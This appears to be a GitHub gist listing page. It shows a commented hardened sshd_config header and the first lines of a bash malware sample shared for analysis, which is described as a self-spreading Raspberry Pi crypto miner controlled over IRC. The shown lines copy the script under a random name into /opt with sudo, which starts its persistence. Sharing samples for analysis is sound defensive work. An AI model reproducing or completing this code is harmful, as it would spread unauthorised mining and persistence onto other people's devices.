Skip to content

Instantly share code, notes, and snippets.

View kawaiipantsu's full-sized avatar
🍜
If your team is in the trenches, you've got to be in the trenches with them!

Dave kawaiipantsu

🍜
If your team is in the trenches, you've got to be in the trenches with them!
View GitHub Profile
@kawaiipantsu
kawaiipantsu / sshd_config
Last active June 24, 2023 10:10
This is a secure and harden SSH Daemon config file, this is not just any other "harden" config file out there, i have commented on everything and also locked down even on host level and users and groups etc but in a way that should function on most out of the box environment but still give a way better harden sshd_config experience.
#
# ____ ____ _ _ ____ by KawaiiPantsu
# / ___/ ___|| | | | | _ \ __ _ ___ _ __ ___ ___ _ __
# \___ \___ \| |_| | | | | |/ _` |/ _ \ '_ ` _ \ / _ \| '_ \
# ___) |__) | _ | | |_| | (_| | __/ | | | | | (_) | | | |
# |____/____/|_| |_| |____/ \__,_|\___|_| |_| |_|\___/|_| |_|
# |
# | Inperation have been taken from CIS18, NIST and just
# | common practices when it comes to harding sshd.
# |
@kawaiipantsu
kawaiipantsu / malware-analysis-rpi_miner
Created May 29, 2023 08:20
For analysis, this is a malware sample targeting clean Raspberry PI installations that might end up online/or with ssh exposed to the internet. It tries to be persistent and each victim will also contribute in infecting others. Uses a simple C2C IRC backend. The purpose of the malware is to main crypto currency via CPU
#!/bin/bash
MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF